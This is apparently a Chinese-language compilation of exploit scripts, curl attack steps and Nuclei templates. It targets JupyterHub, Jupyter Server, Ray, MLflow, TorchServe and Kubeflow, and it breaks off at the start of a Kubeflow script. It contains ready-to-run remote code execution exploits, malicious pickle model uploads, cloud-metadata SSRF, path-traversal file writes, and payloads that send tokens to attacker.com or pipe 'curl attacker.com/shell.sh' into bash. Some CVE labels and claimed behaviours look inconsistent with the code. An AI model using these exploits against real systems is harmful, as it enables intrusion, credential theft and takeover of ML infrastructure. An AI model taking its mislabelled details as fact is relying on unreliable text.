AI/ML 开发与推理平台高危攻击链专题：JupyterHub / MLflow / Ray / TorchServe / Kubeflow 漏洞全解析

# 步骤 1：通过路径穿越获取 admin token
curl -v -k "https://target-hub:8000/hub/login?next=/../" \
  -c cookies.txt \
  -L

# 步骤 2：从 cookie 中提取 _xsrf token 和 JupyterHub admin token
cat cookies.txt

# 步骤 3：使用 token 通过 API 创建管理员 Notebook Server
curl -k -X POST "https://target-hub:8000/hub/api/users/admin/servers/" \
  -H "Authorization: token <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{}'

# 步骤 4：通过 Jupyter Kernel 执行命令
curl -k -X POST "https://target-hub:8000/user/admin/api/kernels" \
  -H "Authorization: token <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name": "python3"}'

#!/usr/bin/env python3
"""
CVE-2024-22421 JupyterHub 认证绕过 RCE
用法: python3 cve_2024_22421.py <target_url> [command]
"""
import sys
import re
import requests
import urllib3
import json
import time
import websocket

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class JupyterHubExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.admin_token = None

    def step1_bypass_auth(self):
        print("[*] 阶段 1: 路径穿越获取 admin token")
        bypass_url = f"{self.base_url}/hub/login?next=/../"
        resp = self.session.get(bypass_url, timeout=15)
        token_match = re.search(r'JupyterHub admin token.*?value="([^"]+)"', resp.text, re.DOTALL)
        if token_match:
            self.admin_token = token_match.group(1)
            print(f"[+] 获取 admin token: {self.admin_token[:20]}...")
            return True

        for cookie in self.session.cookies:
            if "jupyterhub" in cookie.name.lower() and "token" in cookie.name.lower():
                self.admin_token = cookie.value
                print(f"[+] 从 cookie 获取 admin token: {self.admin_token[:20]}...")
                return True

        print("[-] 未能获取 admin token，尝试备用路径...")
        alt_url = f"{self.base_url}/hub/api/authorizations/token/<token>"
        return self._try_alternative_bypass()

    def _try_alternative_bypass(self):
        paths = [
            "/hub/login?next=/../hub/api/",
            "/hub/login?next=/../api/",
            "/hub/login?next=/../%00/",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                for cookie in self.session.cookies:
                    if "token" in cookie.name.lower() or "_xsrf" in cookie.name.lower():
                        print(f"[+] 备用路径成功: {path}")
                        return True
            except Exception:
                continue
        return False

    def step2_create_server(self, username="admin"):
        print(f"\n[*] 阶段 2: 为用户 {username} 创建 Notebook Server")
        headers = {"Authorization": f"token {self.admin_token}"}
        api_url = f"{self.base_url}/hub/api/users/{username}/servers/"
        resp = self.session.post(api_url, headers=headers, json={}, timeout=15)
        if resp.status_code in (200, 201):
            print(f"[+] Notebook Server 创建成功")
            return True
        print(f"[-] Server 创建失败: {resp.status_code} {resp.text[:200]}")
        return False

    def step3_rce_via_kernel(self, command="id", username="admin"):
        print(f"\n[*] 阶段 3: 通过 Kernel 执行命令: {command}")
        headers = {"Authorization": f"token {self.admin_token}"}
        kernel_url = f"{self.base_url}/user/{username}/api/kernels"
        resp = self.session.post(kernel_url, headers=headers, json={"name": "python3"}, timeout=15)
        if resp.status_code not in (200, 201):
            print(f"[-] Kernel 创建失败: {resp.status_code}")
            return False
        kernel_id = resp.json()["id"]
        print(f"[+] Kernel 创建: {kernel_id}")

        ws_url = f"wss://{self.base_url.split('//')[1]}/user/{username}/api/kernels/{kernel_id}/channels"
        ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": 0})
        msg_id = "exploit-001"
        execute_msg = {
            "header": {"msg_type": "execute_request", "msg_id": msg_id},
            "parent_header": {},
            "metadata": {},
            "content": {"code": f"import subprocess; print(subprocess.check_output('{command}', shell=True).decode())"},
            "channel": "shell",
        }
        ws.send(json.dumps(execute_msg))
        result = self._wait_for_result(ws, msg_id)
        ws.close()
        print(f"[+] 命令执行结果:\n{result}")
        return True

    def _wait_for_result(self, ws, msg_id, timeout=10):
        ws.settimeout(timeout)
        while True:
            try:
                msg = json.loads(ws.recv())
                if (msg.get("parent_header", {}).get("msg_id") == msg_id
                        and msg.get("msg_type") == "stream"):
                    return msg["content"].get("text", "")
            except websocket.WebSocketTimeoutException:
                break
        return "(timeout)"

    def exploit(self, command="id"):
        if self.step1_bypass_auth():
            self.step2_create_server()
            self.step3_rce_via_kernel(command)
        else:
            print("[-] 漏洞利用失败")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} https://jupyterhub:8000 'id'")
        sys.exit(1)
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    JupyterHubExploit(target).exploit(cmd)

id: cve-2024-22421
info:
  name: JupyterHub 认证绕过 RCE
  author: security-researcher
  severity: critical
  description: JupyterHub < 4.0.2 认证绕过，通过路径穿越获取 admin token 并实现 RCE
  reference:
    - https://github.com/evi1haxx/CVE-2024-22421
  classification:
    cvss-score: 9.9
    cwe-id: CWE-287
  tags: cve,cve2024,jupyterhub,auth-bypass,rce

requests:
  - raw:
      - |
        GET /hub/login?next=/../ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "_xsrf"
          - "JupyterHub"
        condition: and

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: regex
        group: 1
        regex:
          - 'JupyterHub admin token.*?value="([^"]+)"'

/api/contents/..%252f/..%252f/..%252f/proc/self/cmdline

# 路径遍历读取 /proc/self/cmdline
curl -k "https://target-jupyter:8888/api/contents/..%252f..%252f..%252fproc%252fself%252fcmdline" \
  -H "Accept: application/json"

# 读取其他进程的 cmdline（需要知道 PID）
curl -k "https://target-jupyter:8888/api/contents/..%252f..%252f..%252fproc%252f<pid>%252fcmdline" \
  -H "Accept: application/json"

#!/usr/bin/env python3
"""
CVE-2022-29241 Jupyter Server Token 泄露
用法: python3 cve_2022_29241.py <target_url>
"""
import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class JupyterServerTokenLeak:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def read_proc_file(self, path):
        encoded_path = path.replace("/", "%252f")
        url = f"{self.base_url}/api/contents/..%252f..%252f..%252f{encoded_path}"
        print(f"[*] 读取: {url}")
        resp = self.session.get(url, timeout=10)
        if resp.status_code == 200:
            try:
                data = resp.json()
                content = data.get("content", b"")
                if isinstance(content, list):
                    content = bytes(content).decode("utf-8", errors="replace")
                return content
            except Exception:
                return resp.text
        return None

    def extract_token(self):
        print("[*] 从 /proc/self/cmdline 提取 token...")
        content = self.read_proc_file("proc/self/cmdline")
        if content:
            token_match = re.search(r'token[= ]+([^\s\x00]+)', content)
            if token_match:
                token = token_match.group(1)
                print(f"[+] Token: {token}")
                return token
            print(f"[*] cmdline 内容: {content[:200]}")
        return None

    def get_pids(self):
        content = self.read_proc_file("proc")
        if content:
            return [d for d in content if d.isdigit()]
        return []

    def exploit(self):
        token = self.extract_token()
        if token:
            print(f"\n[+] 验证 token...")
            api_url = f"{self.base_url}/api/"
            resp = self.session.get(api_url, headers={"Authorization": f"token {token}"}, timeout=10)
            if resp.status_code == 200:
                print("[+] Token 验证有效！可访问 Jupyter Server API")
            else:
                print("[-] Token 验证失败")
        else:
            print("\n[*] 尝试遍历其他 PID...")
            pids = self.get_pids()
            for pid in pids[:10]:
                content = self.read_proc_file(f"proc/{pid}/cmdline")
                if content and "jupyter" in content.lower():
                    print(f"[+] PID {pid}: {content[:200]}")
                    token_match = re.search(r'token[= ]+([^\s\x00]+)', content)
                    if token_match:
                        print(f"[+] Token: {token_match.group(1)}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    JupyterServerTokenLeak(sys.argv[1]).exploit()

id: cve-2022-29241
info:
  name: Jupyter Server Token 泄露
  author: security-researcher
  severity: critical
  description: Jupyter Server < 1.17.1 路径遍历导致 Token 泄露
  classification:
    cvss-score: 9.0
    cwe-id: CWE-200
  tags: cve,cve2022,jupyter-server,token-leak,lfi

requests:
  - raw:
      - |
        GET /api/contents/..%252f..%252f..%252fproc%252fself%252fcmdline HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: word
        words:
          - "token"
          - "cmdline"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'token[= ]+([^\s]+)'

#!/usr/bin/env python3
"""
CVE-2024-35225 jupyter-server-proxy XSS → RCE
用法: python3 cve_2024_35225.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class JupyterProxyXSS:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_xss(self):
        print("[*] 检查 jupyter-server-proxy XSS...")
        payload = '<script>alert("CVE-2024-35225")</script>'
        url = f"{self.base_url}/proxy/{payload}/"
        resp = self.session.get(url, timeout=10, allow_redirects=False)
        if payload in resp.text:
            print("[VULN] XSS 反射成功！payload 出现在响应中")
            return True
        if resp.status_code in (301, 302):
            print(f"[*] 收到重定向: {resp.headers.get('Location', '')}")
        print(f"[-] 响应状态: {resp.status_code}")
        return False

    def exploit(self):
        if self.check_xss():
            print("[+] XSS 可用。攻击者可构造如下 payload 窃取 Token:")
            print()
            exfil_payload = (
                '<script>fetch("/api/user").then(r=>r.json()).then(d=>'
                f'fetch("https://attacker.com/exfil?token="+d.token))</script>'
            )
            print(f"  /proxy/{exfil_payload}/")
            print()
            print("[+] 获取 Token 后可调用 /api/kernels 创建 Kernel 实现 RCE")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url>")
        print(f"示例: python3 {sys.argv[0]} http://jupyter:8888")
        sys.exit(1)
    JupyterProxyXSS(sys.argv[1]).exploit()

id: cve-2024-35225
info:
  name: jupyter-server-proxy XSS
  author: security-researcher
  severity: critical
  description: jupyter-server-proxy /proxy/<host> XSS 反射导致 RCE
  classification:
    cvss-score: 9.7
    cwe-id: CWE-79
  tags: cve,cve2024,jupyter,xss,rce

requests:
  - raw:
      - |
        GET /proxy/<script>alert(1)</script>/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"
        part: body

# 步骤 1：验证 Dashboard 是否可达
curl -s http://target-ray:8265/api/version

# 步骤 2：提交恶意 Job 执行命令
curl -X POST http://target-ray:8265/api/jobs/ \
  -H "Content-Type: application/json" \
  -d '{
    "entrypoint": "id && whoami && hostname",
    "runtime_env": {},
    "metadata": {"job_submission_id": "cve-2023-48022"}
  }'

# 步骤 3：查看 Job 状态
curl http://target-ray:8265/api/jobs/<job_id>

# 步骤 4：获取 Job 日志
curl http://target-ray:8265/api/jobs/<job_id>/logs

#!/usr/bin/env python3
"""
CVE-2023-48022 Ray Dashboard 未授权 RCE (CISA KEV)
用法: python3 cve_2023_48022.py <target_file|target_url> [command]
"""
import sys
import time
import json
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class RayDashboardExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_dashboard(self):
        try:
            resp = self.session.get(f"{self.base_url}/api/version", timeout=5)
            if resp.status_code == 200:
                version = resp.json().get("version", "unknown")
                print(f"[VULN] Ray Dashboard 可达, 版本: {version}")
                return True
        except Exception:
            pass
        return False

    def submit_job(self, command="id"):
        payload = {
            "entrypoint": command,
            "runtime_env": {},
        }
        resp = self.session.post(f"{self.base_url}/api/jobs/", json=payload, timeout=10)
        if resp.status_code in (200, 201):
            job_id = resp.json().get("job_id", "")
            print(f"[+] Job 提交成功: {job_id}")
            return job_id
        print(f"[-] Job 提交失败: {resp.status_code} {resp.text[:200]}")
        return None

    def get_job_result(self, job_id, timeout=30):
        start = time.time()
        while time.time() - start < timeout:
            try:
                resp = self.session.get(f"{self.base_url}/api/jobs/{job_id}", timeout=5)
                status = resp.json().get("status", "")
                if status == "SUCCEEDED":
                    log_resp = self.session.get(f"{self.base_url}/api/jobs/{job_id}/logs", timeout=5)
                    return log_resp.text
                elif status == "FAILED":
                    return f"Job 执行失败"
                time.sleep(1)
            except Exception:
                pass
        return "(timeout)"

    def exploit(self, command="id"):
        if self.check_dashboard():
            job_id = self.submit_job(command)
            if job_id:
                result = self.get_job_result(job_id)
                print(f"[+] 执行结果:\n{result}")

    def batch_scan(self, target_file):
        results = []
        with open(target_file) as f:
            targets = [line.strip() for line in f if line.strip()]

        print(f"[*] 批量扫描 {len(targets)} 个目标...")

        def scan_one(target):
            url = target if target.startswith("http") else f"http://{target}:8265"
            try:
                resp = requests.get(f"{url}/api/version", timeout=5, verify=False)
                if resp.status_code == 200:
                    version = resp.json().get("version", "unknown")
                    return (url, True, version)
            except Exception:
                pass
            return (url, False, None)

        with ThreadPoolExecutor(max_workers=20) as executor:
            futures = {executor.submit(scan_one, t): t for t in targets}
            for future in as_completed(futures):
                url, vuln, version = future.result()
                if vuln:
                    print(f"[VULN] {url} (v{version})")
                    results.append(url)

        print(f"\n[+] 发现 {len(results)} 个脆弱目标")
        with open("vulnerable_ray.txt", "w") as f:
            f.write("\n".join(results))
        print("[+] 结果保存到 vulnerable_ray.txt")
        return results


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url|target_file> [command]")
        print(f"示例: python3 {sys.argv[0]} http://ray:8265 'cat /etc/passwd'")
        print(f"批量: python3 {sys.argv[0]} targets.txt 'id'")
        sys.exit(1)
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    if target.endswith(".txt"):
        RayDashboardExploit("").batch_scan(target)
    else:
        RayDashboardExploit(target).exploit(cmd)

id: cve-2023-48022
info:
  name: Ray Dashboard 未授权 RCE
  author: security-researcher
  severity: critical
  description: Ray Dashboard < 2.8.1 默认无认证，可直接提交 Job 执行任意命令
  reference:
    - https://github.com/ray-project/ray/issues/38761
  classification:
    cvss-score: 9.8
    cwe-id: CWE-306
  tags: cve,cve2023,ray,rce,unauth,cisa-kev

requests:
  - raw:
      - |
        GET /api/version HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "version"
        part: body

    extractors:
      - type: json
        name: version
        json:
          - ".version"

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint": "id", "runtime_env": {}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 201

      - type: word
        words:
          - "job_id"
        part: body

# 步骤 1：创建恶意模型文件（使用下方 Python PoC 生成）
python3 create_malicious_model.py

# 步骤 2：上传恶意模型到 MLflow
curl -X POST "http://target-mlflow:5000/api/2.0/mlflow/registered-models/create" \
  -H "Content-Type: application/json" \
  -d '{"name": "malicious_model"}'

# 步骤 3：创建模型版本（触发反序列化）
curl -X POST "http://target-mlflow:5000/api/2.0/mlflow/model-versions/create" \
  -H "Content-Type: application/json" \
  -d '{"name": "malicious_model", "source": "mlflow-artifacts:/0/malicious_model"}'

#!/usr/bin/env python3
"""
CVE-2023-6018 MLflow Pickle 反序列化 RCE
用法: python3 cve_2023_6018.py <target_url> [command]
"""
import sys
import pickle
import io
import os
import tempfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MaliciousPickle:
    def __reduce__(self):
        import subprocess
        cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
        return (subprocess.check_output, (cmd,), {"shell": True})


class MLflowExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def create_malicious_artifact(self, command="id"):
        print(f"[*] 生成恶意 pickle payload: {command}")
        payload = pickle.dumps(MaliciousPickle())
        print(f"[+] Payload 大小: {len(payload)} bytes")
        return payload

    def upload_via_experiment(self, command="id"):
        print("[*] 通过 Experiment API 上传恶意模型...")
        resp = self.session.post(f"{self.base_url}/api/2.0/mlflow/experiments/create",
                                  json={"name": "cve-2023-6018-exploit"},
                                  timeout=10)
        if resp.status_code != 200:
            print(f"[-] 创建实验失败: {resp.status_code}")
            return False
        experiment_id = resp.json()["experiment_id"]
        print(f"[+] 实验 ID: {experiment_id}")

        resp = self.session.post(f"{self.base_url}/api/2.0/mlflow/runs/create",
                                  json={"experiment_id": experiment_id},
                                  timeout=10)
        if resp.status_code != 200:
            print(f"[-] 创建 Run 失败: {resp.status_code}")
            return False
        run_id = resp.json()["run"]["info"]["run_id"]
        print(f"[+] Run ID: {run_id}")

        payload = self.create_malicious_artifact(command)
        files = {"file": ("model.pkl", io.BytesIO(payload), "application/octet-stream")}
        resp = self.session.post(
            f"{self.base_url}/api/2.0/mlflow/artifacts/upload",
            data={"run_id": run_id, "path": "model.pkl"},
            files=files,
            timeout=10,
        )
        if resp.status_code == 200:
            print("[+] 恶意模型上传成功！等待目标用户加载...")
            print(f"[+] 模型路径: mlflow-artifacts:/{experiment_id}/{run_id}/artifacts/model.pkl")
            return True
        print(f"[-] 上传失败: {resp.status_code} {resp.text[:200]}")
        return False

    def exploit(self, command="id"):
        self.upload_via_experiment(command)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url> [command]")
        print(f"示例: python3 {sys.argv[0]} http://mlflow:5000 'curl attacker.com/shell.sh|bash'")
        sys.exit(1)
    MLflowExploit(sys.argv[1]).exploit(sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2023-6018
info:
  name: MLflow Pickle 反序列化 RCE
  author: security-researcher
  severity: critical
  description: MLflow < 2.9.2 Pickle 反序列化漏洞，上传恶意模型即可实现 RCE
  classification:
    cvss-score: 9.8
    cwe-id: CWE-94
  tags: cve,cve2023,mlflow,rce,pickle,deserialization

requests:
  - raw:
      - |
        GET /api/2.0/mlflow/experiments/search HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "experiments"
        part: body

#!/usr/bin/env python3
"""
CVE-2023-6977 MLflow 模型下载 RCE
用法: python3 cve_2023_6977.py <target_url> [command]
"""
import sys
import pickle
import io
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MaliciousModel:
    def __reduce__(self):
        import subprocess
        cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
        return (subprocess.check_output, (cmd,), {"shell": True})


class MLflowRegistryExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def create_model(self, name="malicious_registry_model"):
        print(f"[*] 创建注册模型: {name}")
        resp = self.session.post(f"{self.base_url}/api/2.0/mlflow/registered-models/create",
                                  json={"name": name}, timeout=10)
        if resp.status_code == 200:
            print(f"[+] 模型注册成功")
            return True
        print(f"[-] 创建失败: {resp.status_code}")
        return False

    def upload_version(self, model_name, command="id"):
        print(f"[*] 上传恶意模型版本...")
        payload = pickle.dumps(MaliciousModel())
        experiment_resp = self.session.post(f"{self.base_url}/api/2.0/mlflow/experiments/create",
                                             json={"name": f"reg_{model_name}"}, timeout=10)
        experiment_id = experiment_resp.json()["experiment_id"]

        run_resp = self.session.post(f"{self.base_url}/api/2.0/mlflow/runs/create",
                                      json={"experiment_id": experiment_id}, timeout=10)
        run_id = run_resp.json()["run"]["info"]["run_id"]

        files = {"file": ("model.pkl", io.BytesIO(payload), "application/octet-stream")}
        upload_resp = self.session.post(
            f"{self.base_url}/api/2.0/mlflow/artifacts/upload",
            data={"run_id": run_id, "path": "model.pkl"},
            files=files, timeout=10,
        )
        if upload_resp.status_code != 200:
            print(f"[-] 上传失败: {upload_resp.status_code}")
            return False

        source = f"mlflow-artifacts:/{experiment_id}/{run_id}/artifacts/model.pkl"
        version_resp = self.session.post(
            f"{self.base_url}/api/2.0/mlflow/model-versions/create",
            json={"name": model_name, "source": source}, timeout=10,
        )
        if version_resp.status_code == 200:
            version = version_resp.json()["version"]["version"]
            print(f"[+] 模型版本 {version} 创建成功")
            self.session.post(
                f"{self.base_url}/api/2.0/mlflow/registered-models/transition-stage",
                json={"name": model_name, "version": version, "stage": "Production"},
                timeout=10,
            )
            print("[+] 已将模型设为 Production 阶段")
            return True
        return False

    def exploit(self, command="id"):
        model_name = "malicious_model"
        self.create_model(model_name)
        self.upload_version(model_name, command)
        print("[+] 等待受害者从 Production 阶段加载模型...")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url> [command]")
        sys.exit(1)
    MLflowRegistryExploit(sys.argv[1]).exploit(sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2023-6977
info:
  name: MLflow Model Registry 反序列化 RCE
  author: security-researcher
  severity: high
  description: MLflow < 2.9.2 Model Registry 模型下载时 Pickle 反序列化 RCE
  classification:
    cvss-score: 8.8
    cwe-id: CWE-94
  tags: cve,cve2023,mlflow,model-registry,rce

requests:
  - raw:
      - |
        GET /api/2.0/mlflow/registered-models/search HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "registered_models"
        part: body

# 步骤 1：创建指向云元数据的 Experiment
curl -X POST "http://target-mlflow:5000/api/2.0/mlflow/experiments/create" \
  -H "Content-Type: application/json" \
  -d '{"name": "ssrf_test", "artifact_location": "http://169.254.169.254/latest/meta-data/"}'

# 步骤 2：通过 Artifacts API 读取元数据
curl "http://target-mlflow:5000/api/2.0/mlflow/artifacts/list?path=/&experiment_id=<experiment_id>"

#!/usr/bin/env python3
"""
CVE-2024-27132 MLflow SSRF 云元数据泄露
用法: python3 cve_2024_27132.py <target_url> [metadata_url]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MLflowSSRFExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def exploit(self, metadata_url="http://169.254.169.254/latest/meta-data/"):
        print(f"[*] 创建 SSRF Experiment, URI: {metadata_url}")
        resp = self.session.post(
            f"{self.base_url}/api/2.0/mlflow/experiments/create",
            json={"name": "ssrf_exploit", "artifact_location": metadata_url},
            timeout=10,
        )
        if resp.status_code == 200:
            experiment_id = resp.json()["experiment_id"]
            print(f"[+] Experiment 创建成功: {experiment_id}")
            print(f"[+] 通过 Artifacts API 读取元数据...")
            list_resp = self.session.get(
                f"{self.base_url}/api/2.0/mlflow/artifacts/list",
                params={"path": "/", "experiment_id": experiment_id},
                timeout=10,
            )
            if list_resp.status_code == 200:
                print(f"[+] SSRF 响应:\n{list_resp.text[:1000]}")
            else:
                print(f"[-] 读取失败: {list_resp.status_code}")
        else:
            print(f"[-] 创建失败: {resp.status_code} {resp.text[:200]}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url> [metadata_url]")
        print(f"示例: python3 {sys.argv[0]} http://mlflow:5000")
        sys.exit(1)
    metadata = sys.argv[2] if len(sys.argv) > 2 else "http://169.254.169.254/latest/meta-data/"
    MLflowSSRFExploit(sys.argv[1]).exploit(metadata)

id: cve-2024-27132
info:
  name: MLflow SSRF 云元数据泄露
  author: security-researcher
  severity: high
  description: MLflow < 2.12.0 SSRF，通过 Artifact URI 窃取云元数据
  classification:
    cvss-score: 8.6
    cwe-id: CWE-918
  tags: cve,cve2024,mlflow,ssrf,cloud

requests:
  - raw:
      - |
        POST /api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "ssrf_probe", "artifact_location": "http://169.254.169.254/latest/meta-data/"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "experiment_id"
        part: body

# 步骤 1：验证管理 API 是否可达且无认证
curl http://target-torch:8081/models

# 步骤 2：通过路径穿越写入 crontab
curl -X PUT "http://target-torch:8081/models?model_name=..%2F..%2F..%2Fetc%2Fcron.d%2Fexploit" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.com/evil.mar"}'

# 步骤 3：直接通过模型名称触发写入
curl -X POST "http://target-torch:8081/models" \
  -H "Content-Type: application/json" \
  -d '{"model_name": "../../tmp/malicious_model", "url": "http://attacker.com/model.tar.gz"}'

#!/usr/bin/env python3
"""
CVE-2024-37032 TorchServe 路径穿越 RCE
用法: python3 cve_2024_37032.py <target_url> [command]
"""
import sys
import json
import time
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class TorchServeExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_management_api(self):
        print("[*] 检查 Management API 是否可达...")
        try:
            resp = self.session.get(f"{self.base_url}/models", timeout=5)
            if resp.status_code == 200:
                print("[VULN] Management API 无认证，可直接访问")
                return True
            print(f"[-] Management API 返回: {resp.status_code}")
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False

    def exploit_path_traversal(self, command="id"):
        print(f"\n[*] 利用路径穿越写入 crontab...")
        cron_content = f"* * * * * root {command}\n"
        write_path = "/tmp/torchserve_cron.txt"
        model_name = f"..{write_path}"
        resp = self.session.put(
            f"{self.base_url}/models",
            params={"model_name": model_name, "url": "http://127.0.0.1/null"},
            headers={"Content-Type": "application/json"},
            timeout=10,
        )
        print(f"[*] PUT 响应: {resp.status_code}")
        resp = self.session.post(
            f"{self.base_url}/models",
            json={"model_name": f"..{write_path}", "url": "http://127.0.0.1/null"},
            timeout=10,
        )
        print(f"[*] POST 响应: {resp.status_code}")

    def exploit_direct_write(self, command="id"):
        print(f"\n[*] 通过模型名直接路径穿越写入...")
        exploit_data = {
            "model_name": "../../tmp/exploit",
            "url": f"data:text/plain;base64,{self._b64_encode(command)}",
        }
        resp = self.session.post(
            f"{self.base_url}/models",
            json=exploit_data,
            headers={"Content-Type": "application/json"},
            timeout=10,
        )
        print(f"[*] 写入响应: {resp.status_code}")

    @staticmethod
    def _b64_encode(data):
        import base64
        return base64.b64encode(data.encode()).decode()

    def exploit(self, command="id"):
        if self.check_management_api():
            self.exploit_path_traversal(command)
            self.exploit_direct_write(command)
            print("\n[+] 路径穿越利用完成，请确认文件是否成功写入")
        else:
            print("[-] 无法利用")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url> [command]")
        print(f"示例: python3 {sys.argv[0]} http://torchserve:8081 'curl attacker.com/shell|bash'")
        sys.exit(1)
    TorchServeExploit(sys.argv[1]).exploit(sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2024-37032
info:
  name: TorchServe 路径穿越 RCE
  author: security-researcher
  severity: critical
  description: TorchServe < 0.11.0 Management API 无认证 + 路径穿越 RCE
  classification:
    cvss-score: 9.8
    cwe-id: CWE-22
  tags: cve,cve2024,torchserve,rce,path-traversal

requests:
  - raw:
      - |
        GET /models HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "models"
          - "modelName"
        condition: or
        part: body

#!/usr/bin/env python3
"""
CVE-2021-34039 TorchServe 任意文件覆写
用法: python3 cve_2021_34039.py <target_url> <target_path> [content]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class TorchServeFileOverwrite:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def overwrite_file(self, target_path, content=""):
        print(f"[*] 目标路径: {target_path}")
        relative = target_path.lstrip("/")
        model_name = f"../../{relative}"
        payload = {
            "model_name": model_name,
            "url": f"data:application/octet-stream;base64,{self._b64(content)}",
        }
        resp = self.session.post(
            f"{self.base_url}/models",
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10,
        )
        print(f"[*] 状态码: {resp.status_code}")
        if resp.status_code in (200, 201, 400):
            print("[+] 文件覆写请求已发送")
            return True
        print(f"[-] 请求失败: {resp.text[:200]}")
        return False

    @staticmethod
    def _b64(data):
        import base64
        return base64.b64encode(data.encode()).decode()

    def exploit(self):
        payload = "#!/bin/bash\nid > /tmp/torchserve_pwned\n"
        self.overwrite_file("/tmp/torchserve_pwned", payload)


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: python3 {sys.argv[0]} <target_url> <target_path> [content]")
        sys.exit(1)
    content = sys.argv[3] if len(sys.argv) > 3 else "#!/bin/bash\nid > /tmp/pwned\n"
    TorchServeFileOverwrite(sys.argv[1]).overwrite_file(sys.argv[2], content)

id: cve-2021-34039
info:
  name: TorchServe 任意文件覆写
  author: security-researcher
  severity: critical
  description: TorchServe < 0.4.0 路径穿越导致任意文件覆写
  classification:
    cvss-score: 9.8
    cwe-id: CWE-22
  tags: cve,cve2021,torchserve,path-traversal,file-overwrite

requests:
  - raw:
      - |
        POST /models HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model_name": "../../tmp/nuclei_test", "url": "http://127.0.0.1/null"}

    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
          - 201

      - type: word
        words:
          - "error"
          - "Invalid"
        condition: or

#!/usr/bin/env python3
"""
CVE-2022-26532 Kubeflow Katib 命令注入 RCE
用法: python3 cve_2022_26532.py <katib_url> [command]
"""
import sys
import json
import requests
import urllib3

